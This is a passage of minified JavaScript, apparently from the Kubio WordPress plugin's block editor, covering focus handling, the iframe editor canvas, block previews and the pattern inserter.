t=a(),o=l(t);o.length?e.current.querySelector(`[data-block="${o[0]}"]`).focus():t?e.current.querySelector(`[data-block="${t}"]`).focus():n.focus()}else{const o=t.target.compareDocumentPosition(n)&t.target.DOCUMENT_POSITION_FOLLOWING,i=Cp.focus.tabbable.find(e.current);i.length&&(o?i[0]:i[i.length-1]).focus()}}const m=(0,Nt.jsx)("div",{ref:t,tabIndex:"0",onFocus:f}),v=(0,Nt.jsx)("div",{ref:n,tabIndex:"0",onFocus:f}),b=(0,p.useRefEffect)((l=>{function a(e){if(e.defaultPrevented)return;if(e.keyCode!==sd.TAB)return;if(!o()&&!i())return;const r=e.shiftKey,l=r?"findPrevious":"findNext",s=Cp.focus.tabbable[l](e.target),a=e.target.closest("[data-block]"),c=a&&s&&(Ep(a,s)||Tp(a,s));if((0,Cp.isFormElement)(s)&&c)return;const u=r?t:n;g.current=!0,u.current.focus({preventScroll:!0})}function c(e){h({...s(),current:e.target});const{ownerDocument:t}=l;e.relatedTarget||t.activeElement!==t.body||0!==r()||l.focus()}function u(o){var i;if(o.keyCode!==sd.TAB)return;if("region"===(null===(i=o.target)||void 0===i?void 0:i.getAttribute("role")))return;if(e.current===o.target)return;const r=o.shiftKey?"findPrevious":"findNext",l=Cp.focus.tabbable[r](o.target);l!==t.current&&l!==n.current||(o.preventDefault(),l.focus({preventScroll:!0}))}const{ownerDocument:d}=l,{defaultView:p}=d;return p.addEventListener("keydown",u),l.addEventListener("keydown",a),l.addEventListener("focusout",c),()=>{p.removeEventListener("keydown",u),l.removeEventListener("keydown",a),l.removeEventListener("focusout",c)}}),[]);return[m,(0,p.useMergeRefs)([e,b]),v]}(),o=(0,d.useSelect)((e=>e(hs).hasMultiSelection()),[]);return[e,(0,p.useMergeRefs)([t,qp(),Gp(),Op(),Vp(),Hp(),Sp(),Lp(),Ap(),(0,p.useRefEffect)((e=>(e.tabIndex=0,e.dataset.hasMultiSelection=o,o?(e.setAttribute("aria-label",(0,Je.__)("Multiple selected blocks")),()=>{delete e.dataset.hasMultiSelection,e.removeAttribute("aria-label")}):()=>{delete e.dataset.hasMultiSelection})),[o])]),n]}const Xp=(0,u.forwardRef)((function({children:e,...t},n){const[o,i,r]=Yp();return(0,Nt.jsxs)(Nt.Fragment,{children:[o,(0,Nt.jsx)("div",{...t,ref:(0,p.useMergeRefs)([i,n]),className:ms(t.className,"block-editor-writing-flow"),children:e}),r]})}));let Qp=null;function Jp(e,t,n){const o={};for(const t in e)o[t]=e[t];if(e instanceof n.contentDocument.defaultView.MouseEvent){const e=n.getBoundingClientRect();o.clientX+=e.left,o.clientY+=e.top}const i=new t(e.type,o);o.defaultPrevented&&i.preventDefault(),!n.dispatchEvent(i)&&e.preventDefault()}function eh(e){return(0,p.useRefEffect)((()=>{const{defaultView:t}=e;if(!t)return;const{frameElement:n}=t,o=e.documentElement,i=["dragover","mousemove"],r={};for(const e of i)r[e]=e=>{const t=Object.getPrototypeOf(e).constructor.name;Jp(e,window[t],n)},o.addEventListener(e,r[e]);return()=>{for(const e of i)o.removeEventListener(e,r[e])}}))}function th({contentRef:e,children:t,tabIndex:n=0,scale:o=1,frameSize:i=0,expand:r=!1,readonly:l,forwardedRef:s,...a}){var c,h,g,f;const{resolvedAssets:m,isPreviewMode:v}=(0,d.useSelect)((e=>{const t=e(hs).getSettings();return{resolvedAssets:t.__unstableResolvedAssets,isPreviewMode:t.__unstableIsPreviewMode}}),[]),{styles:b="",scripts:k=""}=m,[_,y]=(0,u.useState)(),[x,S]=(0,u.useState)([]),w=_p(),[C,B,I]=Yp(),[j,{height:E}]=(0,p.useResizeObserver)(),T=(0,p.useRefEffect)((e=>{let t;function n(e){e.preventDefault()}function o(){const{contentDocument:o,ownerDocument:i}=e,{documentElement:r}=o;t=o,w(r),S(Array.from(i.body.classList).filter((e=>e.startsWith("admin-color-")||e.startsWith("post-type-")||"wp-embed-responsive"===e))),o.dir=i.dir;for(const e of Qp||(Qp=Array.from(document.styleSheets).reduce(((e,t)=>{try{t.cssRules}catch(t){return e}const{ownerNode:n,cssRules:o}=t;if(null===n)return e;if(!o)return e;if(["wp-reset-editor-styles-css","wp-reset-editor-styles-rtl-css"].includes(n.id))return e;if(!n.id)return e;if(function e(t){return Array.from(t).find((({selectorText:t,conditionText:n,cssRules:o})=>n?e(o):t&&(t.includes(".editor-styles-wrapper")||t.includes(".wp-block"))))}(o)){const t="STYLE"===n.tagName;if(t){const t=n.id.replace("-inline-css","-css"),o=document.getElementById(t);o&&e.push(o.cloneNode(!0))}if(e.push(n.cloneNode(!0)),!t){const t=n.id.replace("-css","-inline-css"),o=document.getElementById(t);o&&e.push(o.cloneNode(!0))}}return e}),[]),Qp))o.getElementById(e.id)||(o.head.appendChild(e.cloneNode(!0)),v||console.warn(`${e.id} was added to the iframe incorrectly. Please use block.json or enqueue_block_assets to add styles to the iframe.`,e));t.addEventListener("dragover",n,!1),t.addEventListener("drop",n,!1)}return e._load=()=>{y(e.contentDocument)},e.addEventListener("load",o),()=>{var i,r;delete e._load,e.removeEventListener("load",o),null===(i=t)||void 0===i||i.removeEventListener("dragover",n),null===(r=t)||void 0===r||r.removeEventListener("drop",n)}}),[]),P=(0,p.useDisabled)({isDisabled:!l}),M=(0,p.useMergeRefs)([eh(_),e,w,B,P]),R=`<!doctype html>\n<html>\n\t<head>\n\t\t<meta charset="utf-8">\n\t\t<script>window.frameElement._load()<\/script>\n\t\t<style>html{height:auto!important;min-height:100%;}body{margin:0}</style>\n\t\t${b}\n\t\t${k}\n\t</head>\n\t<body>\n\t\t<script>document.currentScript.parentElement.remove()<\/script>\n\t</body>\n</html>`,[N,A]=(0,u.useMemo)((()=>{const e=URL.createObjectURL(new window.Blob([R],{type:"text/html"}));return[e,()=>URL.revokeObjectURL(e)]}),[R]);(0,u.useEffect)((()=>A),[A]);const L=E*(1-o)/2;return(0,Nt.jsxs)(Nt.Fragment,{children:[n>=0&&C,(0,Nt.jsx)("iframe",{...a,style:{border:0,...a.style,height:r?E:null===(c=a.style)||void 0===c?void 0:c.height,marginTop:1!==o?-L+i:null===(h=a.style)||void 0===h?void 0:h.marginTop,marginBottom:1!==o?-L+i:null===(g=a.style)||void 0===g?void 0:g.marginBottom,transform:1!==o?`scale( ${o} )`:null===(f=a.style)||void 0===f?void 0:f.transform,transition:"all .3s"},ref:(0,p.useMergeRefs)([s,T]),tabIndex:n,src:N,title:(0,Je.__)("Editor canvas","kubio"),onKeyDown:e=>{a.onKeyDown?a.onKeyDown(e):e.currentTarget.ownerDocument!==e.target.ownerDocument&&(e.stopPropagation(),Jp(e,window.KeyboardEvent,e.currentTarget))},children:_&&(0,u.createPortal)((0,Nt.jsxs)("body",{ref:M,className:Oa()("block-editor-iframe__body","editor-styles-wrapper",...x),children:[j,(0,Nt.jsx)(ne.__experimentalStyleProvider,{document:_,children:t})]}),_.documentElement)}),n>=0&&I]})}const nh=(0,u.forwardRef)((function(e,t){return(0,d.useSelect)((e=>e(hs).getSettings().__internalIsInitialized),[])?(0,Nt.jsx)(th,{...e,forwardedRef:t}):null}));function oh(e,t){return(0,u.useCallback)((e=>{if(!e)return;const{ownerDocument:n}=e,{defaultView:o,body:i}=n,r=t?n.querySelector(t):i;let l;if(r)l=null==o?void 0:o.getComputedStyle(r,null).getPropertyValue("background-color");else{const e=n.createElement("div");e.classList.add("editor-styles-wrapper"),i.appendChild(e),l=null==o?void 0:o.getComputedStyle(e,null).getPropertyValue("background-color"),i.removeChild(e)}const s=q(l);s.luminance()>.5||0===s.alpha()?i.classList.remove("is-dark-theme"):i.classList.add("is-dark-theme")}),[e,t])}X([Q,te]);const ih=(0,u.memo)((function({styles:e,scope:t,transformOptions:n}){const o=(0,d.useSelect)((e=>ge(e(hs)).getStyleOverrides()),[]),[i,r]=(0,u.useMemo)((()=>{const i=Object.values(null!=e?e:[]);for(const[e,t]of o){const n=i.findIndex((({id:t})=>e===t)),o={...t,id:e};-1===n?i.push(o):i[n]=o}return[Re(i.filter((e=>null==e?void 0:e.css)),t,n),i.filter((e=>"svgs"===e.__unstableType)).map((e=>e.assets)).join("")]}),[e,o,t,n]);return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("style",{ref:oh(i,t)}),i.map(((e,t)=>(0,Nt.jsx)("style",{children:e},t))),(0,Nt.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 0 0",width:"0",height:"0",role:"none",style:{visibility:"hidden",position:"absolute",left:"-9999px",overflow:"hidden"},dangerouslySetInnerHTML:{__html:r}})]})})),rh=(0,u.memo)(ek),lh=2e3,sh=[];function ah({viewportWidth:e,containerWidth:t,minHeight:n,additionalStyles:o=sh}){e||(e=t);const[i,{height:r}]=(0,p.useResizeObserver)(),{styles:l}=(0,d.useSelect)((e=>({styles:e(hs).getSettings().styles})),[]),s=(0,u.useMemo)((()=>l?[...l,{css:"body{height:auto;overflow:hidden;border:none;padding:0;}",__unstableType:"presets"},...o]:l),[l,o]),a=t/e,c=r?t/(r*a):0;return(0,Nt.jsx)(ne.Disabled,{className:"block-editor-block-preview__content",style:{transform:`scale(${a})`,aspectRatio:c,maxHeight:r>lh?lh*a:void 0,minHeight:n},children:(0,Nt.jsxs)(nh,{contentRef:(0,p.useRefEffect)((e=>{const{ownerDocument:{documentElement:t}}=e;t.classList.add("block-editor-block-preview__content-iframe"),t.style.position="absolute",t.style.width="100%",e.style.boxSizing="border-box",e.style.position="absolute",e.style.width="100%"}),[]),"aria-hidden":!0,tabIndex:-1,style:{position:"absolute",width:e,height:r,pointerEvents:"none",maxHeight:lh,minHeight:0!==a&&a<1&&n?n/a:n},children:[(0,Nt.jsx)(ih,{styles:s}),i,(0,Nt.jsx)(rh,{renderAppender:!1})]})})}function ch(e){const[t,{width:n}]=(0,p.useResizeObserver)();return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("div",{style:{position:"relative",width:"100%",height:0},children:t}),(0,Nt.jsx)("div",{className:"block-editor-block-preview__container",children:!!n&&(0,Nt.jsx)(ah,{...e,containerWidth:n})})]})}const uh=(0,window.wp.priorityQueue.createQueue)(),dh=[],ph=(0,u.memo)((function({blocks:e,viewportWidth:t=1200,minHeight:n,additionalStyles:o=dh,__experimentalMinHeight:i,__experimentalPadding:r}){i&&(n=i,Ye()("The __experimentalMinHeight prop",{since:"6.2",version:"6.4",alternative:"minHeight"})),r&&(o=[...o,{css:`body { padding: ${r}px; }`}],Ye()("The __experimentalPadding prop of BlockPreview",{since:"6.2",version:"6.4",alternative:"additionalStyles"}));const l=(0,d.useSelect)((e=>e(hs).getSettings()),[]),s=(0,u.useMemo)((()=>({...l,focusMode:!1,__unstableIsPreviewMode:!0,isPreviewMode:!0})),[l]),a=(0,u.useMemo)((()=>Array.isArray(e)?e:[e]),[e]);return e&&0!==e.length?(0,Nt.jsx)(bp,{value:a,settings:s,children:(0,Nt.jsx)(ch,{viewportWidth:t,minHeight:n,additionalStyles:o})}):null}));ph.Async=function({children:e,placeholder:t}){const[n,o]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{const e={};return uh.add(e,(()=>{(0,u.flushSync)((()=>{o(!0)}))})),()=>{uh.cancel(e)}}),[]),n?e:t};const hh=ph;function gh({blocks:e,props:t={},__experimentalLayout:n,layout:o}){const i=(0,d.useSelect)((e=>e(hs).getSettings()),[]),r=(0,u.useMemo)((()=>({...i,styles:void 0,focusMode:!1,isPreviewMode:!0,__unstableIsPreviewMode:!0})),[i]),l=(0,p.useDisabled)(),s=(0,p.useMergeRefs)([t.ref,l]),a=(0,u.useMemo)((()=>Array.isArray(e)?e:[e]),[e]),c=o||n,h=(0,Nt.jsx)(bp,{value:a,settings:r,children:(0,Nt.jsx)(nk,{renderAppender:!1,__experimentalLayout:c,layout:c})});return{...t,ref:s,className:Oa()(t.className,"block-editor-block-preview__live-content","components-disabled"),children:null!=e&&e.length?h:null}}const fh=window.kubio.icons,mh="__experimentalBlockPatterns",vh=({containerRef:e,pattern:t,onClose:n})=>{const o=(0,u.useRef)();return(0,oe.useOnClickOutside)(o,n),(0,Nt.jsx)(ne.Popover,{className:"kubio-options-popover kubio-remove-section-popover",anchorRef:e,position:"top center",offset:6,children:(0,Nt.jsx)("div",{className:"kubio-remove-section-popover-inner",role:"button",tabIndex:0,ref:o,onMouseDown:e=>{e.stopPropagation()},children:(0,Nt.jsxs)(ne.Placeholder,{className:"wp-block-navigation-placeholder kubio-remove-section-placeholder",children:[(null==t?void 0:t.title)&&(0,Nt.jsxs)("div",{className:"kubio-remove-section-popover__header",children:[(0,Nt.jsx)("h1",{className:"kubio-remove-section-popover__header-heading",children:(0,Je.__)("Remove ","kubio")+(null==t?void 0:t.title)+(0,Je.__)(" section?","kubio")}),(0,Nt.jsx)(ne.Button,{onClick:n,icon:Ld})]}),(0,Nt.jsx)("p",{children:(0,Je.__)("This will permanently delete the custom section.","kubio")}),(0,Nt.jsxs)(ne.ButtonGroup,{className:"kubio-remove-section-popover__button-group",children:[(0,Nt.jsx)(ne.Button,{isLink:!0,onClick:n,children:(0,Je.__)("Cancel","kubio")}),(0,Nt.jsx)(ne.Button,{isPrimary:!0,onClick:async()=>{await bh(null==t?void 0:t.name),n()},children:(0,Je.__)("Delete","kubio")})]})]})})})},bh=e=>{const t=e.split("/").pop();(0,d.dispatch)("core").deleteEntityRecord("postType","kubio_section",parseInt(t));const n=(0,d.select)(Vt.STORE_KEY).getSettings(),o=n[mh].filter((t=>t.name!==e)),{updateSettings:i}=(0,d.dispatch)(Vt.STORE_KEY);i({...n,[mh]:o})};function kh({pattern:e,onClick:t,composite:n,isFrontPage:o}){const{content:i,viewportWidth:r,isGutentagPattern:l}=e,{currentThemeName:s}=(0,d.useSelect)((e=>{var t;const{getCurrentTheme:n}=e("core");return{currentThemeName:null===(t=n())||void 0===t?void 0:t.stylesheet}}),[]),a=(0,u.useMemo)((()=>e.isGutentagPattern?i:e.blocks?e.blocks:(0,se.isString)(i)?(0,c.parse)(i):i),[i]),h=`block-editor-block-patterns-list__item-description-${(0,p.useInstanceId)(kh)}`,g=()=>{const n=a[0],o=a[1];["kubio/header","kubio/footer","kubio/sidebar"].includes(n)&&(ue().set(o,"theme",s),ue().unset(o,"slug")),t(e,a)},f=(0,u.useRef)(),[m,v]=(0,u.useState)(!1),b=(0,u.useCallback)((()=>{v(!m)}),[m,v]);let k="section-inserter";if((0,se.isArray)(e.content)){const t=(0,se.get)(e,"content.0",null);t&&(k=t.replace("kubio/","")+"-inserter")}const _=(0,u.useMemo)((()=>(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsxs)(wa.ProItem,{tag:ne.__unstableCompositeItem,item:e,role:"option",as:"div",...n,className:Oa()("block-editor-block-patterns-list__item",e.isCustomSection?"custom-section-item":""),urlArgs:{source:k,content:e.title},onClick:g,children:[l&&(null==e?void 0:e.screenshot)&&(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsx)("img",{alt:e.title,src:null==e?void 0:e.screenshot,draggable:"false",className:"block-editor-block-patterns-list__item__screenshot"})}),l&&(null==e?void 0:e.isCustomSection)&&(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsxs)("div",{className:"block-editor-block-patterns-list__item-title",children:[(0,Nt.jsx)("span",{className:"title",children:(0,Za.decodeEntities)(null==e?void 0:e.title)}),(0,Nt.jsx)(ne.Button,{isSmall:!0,icon:fh.DeleteItemIcon,className:"icon-close",onClick:e=>{e.stopPropagation(),b()},showTooltip:!0,tooltipPosition:"top left",label:(0,Je.__)("Remove section","kubio")})]})}),!l&&(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(hh,{blocks:a,viewportWidth:r}),(0,Nt.jsx)("div",{className:"block-editor-block-patterns-list__item-title",children:e.title}),!!e.description&&(0,Nt.jsx)(ne.VisuallyHidden,{id:h,children:e.description})]})]})})),[]);return(0,Nt.jsx)(Gd,{isEnabled:!l,blocks:a,children:({draggable:t,onDragStart:n,onDragEnd:o})=>(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Tooltip,{text:e.title,children:(0,Nt.jsx)("div",{ref:f,className:Oa()("block-editor-block-patterns-list__list-item"),"aria-label":e.title,"aria-describedby":e.description?h:void 0,draggable:t,onDragStart:n,onDragEnd:o,children:_})}),m&&(0,Nt.jsx)(vh,{containerRef:null==f?void 0:f.current,pattern:e,onClose:()=>v(!1)})]})})}const _h=function({blockPatterns:e=[],onClickPattern:t,orientation:n,label:o=(0,Je.__)("Block Patterns","kubio")}){const i=(0,ne.__unstableUseCompositeState)({orientation:n}),r=(0,d.useSelect)((e=>{const{getIsFrontPage:t=ue().noop}=e(Vt.STORE_KEY)||{};return t()}),[]);return(0,Nt.jsx)(ne.__unstableComposite,{...i,role:"listbox",className:"block-editor-block-patterns-list","aria-label":o,children:e.map((e=>(0,Nt.jsx)(kh,{pattern:e,onClick:t,composite:i,isFrontPage:r},e.name)))})},yh=function(){return(0,Nt.jsxs)("div",{className:"block-editor-inserter__no-results",children:[(0,Nt.jsx)(Ua,{className:"block-editor-inserter__no-results-icon",icon:za}),(0,Nt.jsx)("p",{children:(0,Je.__)("No results found.","kubio")})]})};function xh({rootClientId:e,onInsert:t,selectedCategory:n,onClickCategory:o,filterValue:i=""}){const[r,l,s]=((e,t)=>{const{patternCategories:n,patterns:o}=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs);return{patterns:t().__experimentalBlockPatterns.filter((e=>!e.isGutentagPattern&&(!e.scope||e.scope.inserter))),patternCategories:t().__experimentalBlockPatternCategories}}),[t]),i=(0,u.useCallback)(((t,n)=>{e((0,se.map)(n,(e=>(0,c.cloneBlock)(e))),t.name)}),[]);return[o,n,i]})(t,e),a=(0,u.useMemo)((()=>Na(r,i)),[i,r]),h=(0,u.useMemo)((()=>l.filter((e=>a.some((t=>{var n;return null===(n=t.categories)||void 0===n?void 0:n.includes(e.name)}))))),[a,l]),g=n||h[0];(0,u.useEffect)((()=>{a.some((e=>f(e)===1/0))&&!h.find((e=>"uncategorized"===e.name))&&h.push({name:"uncategorized",label:(0,Je._x)("Uncategorized","kubio","kubio")})}),[h,a]);const f=(0,u.useCallback)((e=>{if(!e.categories||!e.categories.length)return 1/0;const t=(0,se.fromPairs)(h.map((({name:e},t)=>[e,t])));return Math.min(...e.categories.map((e=>void 0!==t[e]?t[e]:1/0)))}),[h]),m=(0,u.useMemo)((()=>a.filter((e=>"uncategorized"===g.name?f(e)===1/0:e.categories&&e.categories.includes(g.name)))),[a,g]),v=(0,u.useMemo)((()=>m.sort(((e,t)=>f(e)-f(t)))),[m,f]),b=(0,p.useAsyncList)(v);return(0,Nt.jsxs)(Nt.Fragment,{children:[!!m.length&&(0,Nt.jsx)(cp,{selectedCategory:g,patternCategories:h,onClickCategory:o,children:(0,Nt.jsx)(_h,{shownPatterns:b,blockPatterns:m,onClickPattern:s,label:g.label,orientation:"vertical",isDraggable:!0})}),!m.length&&(0,Nt.jsx)(yh,{})]})}const Sh=function({rootClientId:e,onInsert:t,onClickCategory:n,selectedCategory:o,filterValue:i=""}){return(0,Nt.jsx)(xh,{rootClientId:e,selectedCategory:o,onInsert:t,onClickCategory:n,filterValue:i})},wh=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"})}),Ch="isResuableBlocksrRenameHintVisible";function Bh(){const e=(0,d.useSelect)((e=>{var t;return null===(t=e(Gn.store).get("core",Ch))||void 0===t||t}),[]),t=(0,u.useRef)(),{set:n}=(0,d.useDispatch)(Gn.store);return e?(0,Nt.jsxs)("div",{ref:t,className:"reusable-blocks-menu-items__rename-hint",children:[(0,Nt.jsx)("div",{className:"reusable-blocks-menu-items__rename-hint-content",children:(0,Je.__)("Reusable blocks are now synced patterns. A synced pattern will behave in exactly the same way as a reusable block.","kubio")}),(0,Nt.jsx)(ne.Button,{className:"reusable-blocks-menu-items__rename-hint-dismiss",icon:wh,iconSize:"16",label:(0,Je.__)("Dismiss hint","kubio"),onClick:()=>{const e=Cp.focus.tabbable.findPrevious(t.current);null==e||e.focus(),n("core",Ch,!1)},showTooltip:!1})]}):null}function Ih({onHover:e,onInsert:t,rootClientId:n}){const[o,,,i]=La(n,t),r=(0,u.useMemo)((()=>o.filter((({category:e,syncStatus:t})=>"reusable"===e&&"unsynced"!==t))),[o]);return 0===r.length?(0,Nt.jsx)(yh,{}):(0,Nt.jsx)(sp,{title:(0,Je.__)("Synced patterns","kubio"),children:(0,Nt.jsx)(lp,{items:r,onSelect:i,onHover:e,label:(0,Je.__)("Synced patterns","kubio")})})}const jh=function({rootClientId:e,onInsert:t,onHover:n}){return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("div",{className:"block-editor-inserter__hint",children:(0,Nt.jsx)(Bh,{})}),(0,Nt.jsx)(Ih,{onHover:n,onInsert:t,rootClientId:e}),(0,Nt.jsx)("div",{className:"block-editor-inserter__manage-reusable-blocks-container",children:(0,Nt.jsx)(ne.Button,{className:"block-editor-inserter__manage-reusable-blocks",variant:"secondary",href:(0,$n.addQueryArgs)("edit.php",{post_type:"wp_block"}),children:(0,Je.__)("Manage my patterns","kubio")})})]})},{Fill:Eh,Slot:Th}=(0,ne.createSlotFill)("__unstableInserterMenuExtension");Eh.Slot=Th;const Ph=Eh,Mh=(e,t)=>top.requestIdleCallback((()=>{var n;null===(n=e.querySelector(`[data-block="${t}"]`))||void 0===n||n.scrollIntoView({behavior:"smooth"})})),Rh={header:"kubio/header",footer:"kubio/footer",sidebar:"kubio/sidebar"},Nh=function({rootClientId:e=null,insertionIndex:t=null,clientId:n=null,isAppender:o=!1,onSelect:i,shouldFocusBlock:r=!0,shouldSelectBlock:l=!0,ownerDocument:s,kubioInsertPosition:a}){const[p,h]=(0,u.useState)(!1),[g,f]=(0,u.useState)([]),{destinationRootClientId:m,destinationIndex:v,getSelectedBlock:b,getBlockOrder:k,patternRootClientId:_,patternRootBlock:y,patternCategories:x,getClientIdsOfDescendants:S,getClientIdsWithDescendants:w,getBlock:C,getBlockParentId:B,canInsertBlockType:I,getBlockIndex:j,isFSEFrontPageWithoutFrontPageTemplate:E,shouldReplace:T,closeOnInsert:P}=(0,d.useSelect)((i=>{var r,l,s;const{getSelectedBlock:a,getBlockIndex:c,getBlockOrder:u,getClientIdsOfDescendants:d,getBlockRootClientId:p,getClientIdsWithDescendants:h,getBlock:g,getSelectedBlockClientId:f,canInsertBlockType:m}=i(hs);let v,b;const k=f();(e||t||n||o)&&(v=e,(0,se.isNumber)(t)?b=t:n?b=c(n,v):!o&&k?(v=p(k),b=c(k,v)+1):b=u(v).length);const _=i("kubio/edit-site").getOpenedInsertedClientId();_&&(v=_);const{__experimentalBlockPatternCategories:y}=i("core/block-editor").getSettings();let x=i("kubio/edit-site").getOpenedInsertedClientId();var S;x||(x=null===(S=(0,se.find)(h().map(g),{name:"core/post-content"}))||void 0===S?void 0:S.clientId);const w=g(x),{getEditedEntityRecord:C}=i("core"),{getTemplateId:B=ue().noop,getPage:I=ue().noop,getSettings:j=ue().noop}=i("kubio/edit-site")||{},E=C("root","site"),T=(null==E?void 0:E.page_on_front)===(null===(r=I())||void 0===r||null===(l=r.context)||void 0===l?void 0:l.postId),P=B(),M=null==P?void 0:P.split("//"),R="front-page"===ue().get(M,"[1]");return{getSelectedBlock:a,destinationRootClientId:v,destinationIndex:b,getBlockOrder:u,patternRootClientId:x,patternRootBlock:w,patternCategories:y,getClientIdsOfDescendants:d,getClientIdsWithDescendants:h,getBlock:g,getBlockParentId:p,canInsertBlockType:m,getBlockIndex:c,isFSEFrontPageWithoutFrontPageTemplate:(null===(s=j())||void 0===s?void 0:s.supportsTemplateMode)&&T&&!R,shouldReplace:i("kubio/edit-site").getOpenedInsertedShouldReplace(),closeOnInsert:i("kubio/edit-site").getOpenedInsertedShouldCloseOnSelect()}}),[e,t,n,o]),{replaceBlocks:M,insertBlocks:R,selectBlock:N,showInsertionPoint:A,replaceBlock:L,hideInsertionPoint:D,updateBlockAttributes:O,replaceInnerBlocks:z,__unstableMarkNextChangeAsNotPersistent:F}=(0,d.useDispatch)(hs),{editEntityRecord:V}=(0,d.useDispatch)("core"),{setOpenInserter:H}=(0,d.useDispatch)("kubio/edit-site");function G(){h(!1)}const $=(0,u.useRef)(_),{createWarningNotice:U}=(0,d.useDispatch)($p.store),W=(0,u.useCallback)(((e,t=!1)=>{const n=t?S([_]):[],o=w().filter((e=>-1===n.indexOf(e))).map((e=>{var t,n;return null===(t=C(e))||void 0===t||null===(n=t.attributes)||void 0===n?void 0:n.anchor})).filter(Boolean),i=(0,oe.slugify)(e);let r=0,l="";for(;-1!==o.indexOf(`${i}${l}`);)r++,l=`-${r}`;return{name:r?`${e} ${r}`:e,anchor:`${i}${l}`}}),[S,w,_,C]),K=(0,u.useCallback)(((e,t,n=!1)=>{const i=b();if(!o&&i&&(0,c.isUnmodifiedDefaultBlock)(i))M(i.clientId,e,null,r||n?0:null,t);else{let o=m,i=v;const c=(0,se.castArray)(e).map((e=>e.name));if(!o){var s;const e=null===(s=b())||void 0===s?void 0:s.clientId;c.reduce(((t,n)=>t&&I(n,e)),!0)?o=e:(o=B(e),i=j(e,o))}if(!c.reduce(((e,t)=>e&&I(t,o)),!0))return U((0,Je.__)("Please drag the block to the desired location","kubio"),{type:"snackbar"});"begin"===a&&(i=0),"end"===a&&(i=k(o).length),R((0,oe.cleanFontFamilyFromBlocks)(e),i,o,l,r||n?0:null,t)}}),[o,b,M,R,m,v,l,r,a,k,I,j]),Z=(0,u.useCallback)(((e,t,n)=>{const l=b();if(!o&&l&&(0,c.isUnmodifiedDefaultBlock)(l))M(l.clientId,e,null,r||n?0:null,t);else{if(!m)return U((0,Je.__)("Please select a container block ( like a column ) before inserting patterns","kubio"),{type:"snackbar"});R(e,v,m,!0,r||n?0:null,t)}i&&i()}),[o,b,M,R,m,v,r]),q=(0,u.useCallback)((async(e,t,n=!1)=>{const{area:o="content",pattern:i={}}=t;if(null!=i&&i.isGutentagPattern){if(!i.isProOnFree)if(e=(0,se.castArray)(e),-1!==["header","footer"].indexOf(o)){const{attributes:t,innerBlocks:n}=(0,se.castArray)(e)[0],i=n.map((e=>{let t=(0,Je.__)("Header Section","kubio");switch("footer"===o&&(t=(0,Je.__)("Footer Section","kubio")),e.name){case"kubio/navigation":t=(0,Je.__)("Navigation","kubio");break;case"kubio/hero":t=(0,Je.__)("Hero","kubio")}"kubio/hero"===e.name||(e=(0,oe.cleanFontFamilyFromBlocks)(e));const{anchor:n,name:i}=W(t,!0);return{...e,attributes:{...e.attributes,anchor:n,attrs:{...e.attributes.attrs,name:i}}}}));if(["header","footer"].includes(_)||E)return h(!0),void f(i);const r=(0,se.omit)(t,["kubio.hash","kubio.id","kubio.styleRef","tagName"]);if((0,se.isEqual)(r,{kubio:{}})||(F(),O(_,t)),Rh[o]&&y&&(null==y?void 0:y.name)!==Rh[o]){const e=["attributes","slug"],t={slug:(0,se.get)(y,e)},n=(0,c.createBlock)(Rh[o],t);await z(_,i),await L(_,n),N(null==n?void 0:n.clientId),Mh(s,null==n?void 0:n.clientId)}else{const e={blocks:i,content:({blocks:e=[]})=>(0,c.__unstableSerializeAndClean)(e)},{theme:t,slug:n}=y.attributes;V("postType","wp_template_part",`${t}//${n}`,e),Mh(s,_)}}else{var r,l,a,u;const{categories:t}=i,n=null!==(r=null==t?void 0:t[0])&&void 0!==r?r:"__undefined__category__",o=null!==(l=null===(a=(0,se.find)(x,{name:n}))||void 0===a?void 0:a.label)&&void 0!==l?l:"Custom Section",{anchor:c,name:d}=W(o),p=(0,se.map)(e,(e=>("kubio/section"===e.name&&(e={...e,attributes:{...e.attributes,anchor:c,attrs:{...e.attributes.attrs,name:d}}}),e)));let h=k(_).length;-1!==i.categories.indexOf(Vt.HERO_ACCENT_CATEGORY)&&(h=0),T?(M($.current,p),$.current=p[0].clientId):R((0,oe.cleanFontFamilyFromBlocks)(p),h,_,!1),P&&H(!1),Mh(s,null===(u=e[0])||void 0===u?void 0:u.clientId)}}else Z(e,t,n)}),[_,y,W,O,z,R,k,x,T]),Y=(0,u.useCallback)(((e,t,n=!1)=>{var o;if((0,oe.isGutentagPrefixed)(null===(o=(0,se.castArray)(e)[0])||void 0===o?void 0:o.name)&&(e=(0,oe.refreshBlockStyleRefs)(e)),null!=t&&t.patternName)q(e,t,n);else{if(!m&&!b())return void U((0,Je.__)("Please drag the block to the desired location","kubio"),{type:"snackbar"});K(e,t,n),i&&i()}}),[q,K]),X=(0,u.useCallback)((e=>{e?A(m,v):D()}),[A,D,m,v,g]);return[m,Y,X,{showCreateTemplateModal:p,onCloseTemplateModal:G,onCreateTemplate:function(){G(),H(!1)},newTemplateData:g,patternRootClientId:_,isFSEFrontPageButDoesNotHaveFrontPageTemplate:E}]},Ah=({filteredBlockTypes:e,...t})=>{const n=(0,u.useMemo)((()=>e.filter((({name:e})=>(0,oe.isGutentagPrefixed)(e)))),[e]),o=(0,u.useMemo)((()=>e.filter((({name:e})=>!(0,se.find)(n,{name:e})))),[e]);return[{label:(0,Je.__)("Kubio blocks","kubio"),icon:null,blockTypes:n},{label:(0,Je.__)("General 